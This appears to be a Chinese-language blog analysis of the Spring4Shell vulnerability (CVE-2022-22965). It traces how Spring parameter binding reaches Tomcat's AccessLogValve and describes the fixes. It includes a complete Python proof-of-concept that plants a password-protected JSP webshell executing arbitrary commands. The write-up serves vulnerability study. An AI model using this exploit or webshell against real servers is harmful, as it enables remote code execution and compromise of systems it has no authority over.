Spring中的参数绑定

在Spring中,假设有如下两个个类

A:

public class A {
    public B b;

    public B getB() {
        return b;
    }

    public void setB(B b) {
        this.b = b;
    }
}

B:

public class B {
    public String flag;

    public String getFlag() {
        return flag;
    }

    public void setFlag(String flag) {
        this.flag = flag;
    }
}

控制器:

@RestController
public class TestController {
    @RequestMapping("/test")
    public String MyTest(A a) {
        return a.b.flag;
    }
}

可以通过传递b.flag=xux来进行赋值

image-20230319194348793

实际上调用链如下:

A.getB()
    B.setFlag("xux")

Spring4Shell(CVE-2022-22965)

使用vulhub中的镜像

https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965

@Controller
public class HelloController {
    public HelloController() {
    }

    @GetMapping({"/"})
    public String index(Person person, Model model) {
        model.addAttribute("person", person);
        return "hello";
    }
}

可以先看看Poc:

def Exploit(url):
    headers = {"suffix":"%>//",
                "c1":"Runtime",
                "c2":"<%",
                "DNT":"1",
                "Content-Type":"application/x-www-form-urlencoded"

    }
    data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
    try:

        requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
        shellurl = urljoin(url, 'tomcatwar.jsp')
        shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
        if shellgo.status_code == 200:
            print(f"Vulnerable,shell ip:{shellurl}?pwd=j&cmd=whoami")
    except Exception as e:
        print(e)
        pass

其中传递的第一个参数为:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}

Spring在WebDataBinder#doBind中进行参数绑定

image-20230319181514025

经过若干步后会进入AbstractNestablePropertyAccessor#getPropertyAccessorForPropertyPath

这是一个不断调用自身的方法

第一次迭代:

image-20230319182625134

此时nestedProperty为class,nestedPathmodule.classLoader.resources.context.parent.pipeline.first.pattern

经过若干步后进入了BeanWrapperImpl#getValue

image-20230319184420665

在最后反射调用了person.getClass()

然后进入第二次迭代:

image-20230319184624524

此时nestedProperty为module,nestedPathclassLoader.resources.context.parent.pipeline.first.pattern

然后进入BeanWrapperImpl#getValue

image-20230319184809246

此时BeanWrapperImpl.this.getInstance()已经是我们上一次迭代反射调用person.getClass()得到的结果

这里等价于调用person.getClass().getModule()

因此那一长串参数class.module.classLoader.resources.context.parent.pipeline.first.pattern在迭代的过程中最后的完整调用链等价于:

person.getClass().getModule().getClassLoader().getResources().getContext().getParent().getPipeline().getFirst().setPattern()

这里获取了Pipeline中的第一个valve,也就是AccessLogValve,并调用了其setPattern方法设置其pattern为jsp的webshell

image-20230319185403991

同理设置了其suffix为.jspdirectorywebapps/ROOTprefixtomcatwarfileDateFormat为空

最后AccessLogValve的相关配置:

image-20230319175221982

在https://tomcat.apache.org/tomcat-9.0-doc/config/valve.html#Access_Logging中可以看到

suffix制定了日志文件的后缀,directory指定了日志的路径,prefix指定了日志文件的前缀(如果不指定默认为access_log),fileDateFormat指定日期格式为空

Spring4Shell的利用过程本质上就是利用Spring中的参数绑定机制配置Tomcat的日志文件为webshell

这里还有一个问题就是设置的日志内容中的%{c1}i%,%{c2}%i,%{suffix}%i

image-20230319190653143

他就是引用文件头中的c1,c2和suffix

也就是Poc中设置的

headers = {"suffix":"%>//",
            "c1":"Runtime",
            "c2":"<%",
            "DNT":"1",
            "Content-Type":"application/x-www-form-urlencoded"
}

关键点

1.需要部署在Tomcat中,这是因为SpringBoot以可执行jar包的方式运行,classLoader嵌套参数被解析为org.springframework.boot.loader.LaunchedURLClassLoader,其没有getResources()

2.需要jdk版本>jdk1.9,这是因为在Spring中当Bean的类型为java.lang.Class时,不返回classLoaderprotectionDomainPropertyDescriptor

也就是不能通过person.getClass().getClassLoader()直接获取classloader

而在jdk1.9之后Java为了支持模块化,在java.lang.Class中增加了module属性和对应的getModule()方法

可以通过person.getClass().getModule().getClassLoader()获取classloader

修复

在spring5.3.18中CachedIntrospectionResults构造函数中Java Bean的PropertyDescriptor的过滤条件被修改了:当Java Bean的类型为java.lang.Class时,仅允许获取name以及Name后缀的属性描述符

也就是不能通过xxx.getClass().getModule().getClassLoader()获取classLoader

在Tomcat9.0.62中对getResource()方法的返回值做了修改,直接返回null

参考:

https://paper.seebug.org/1877/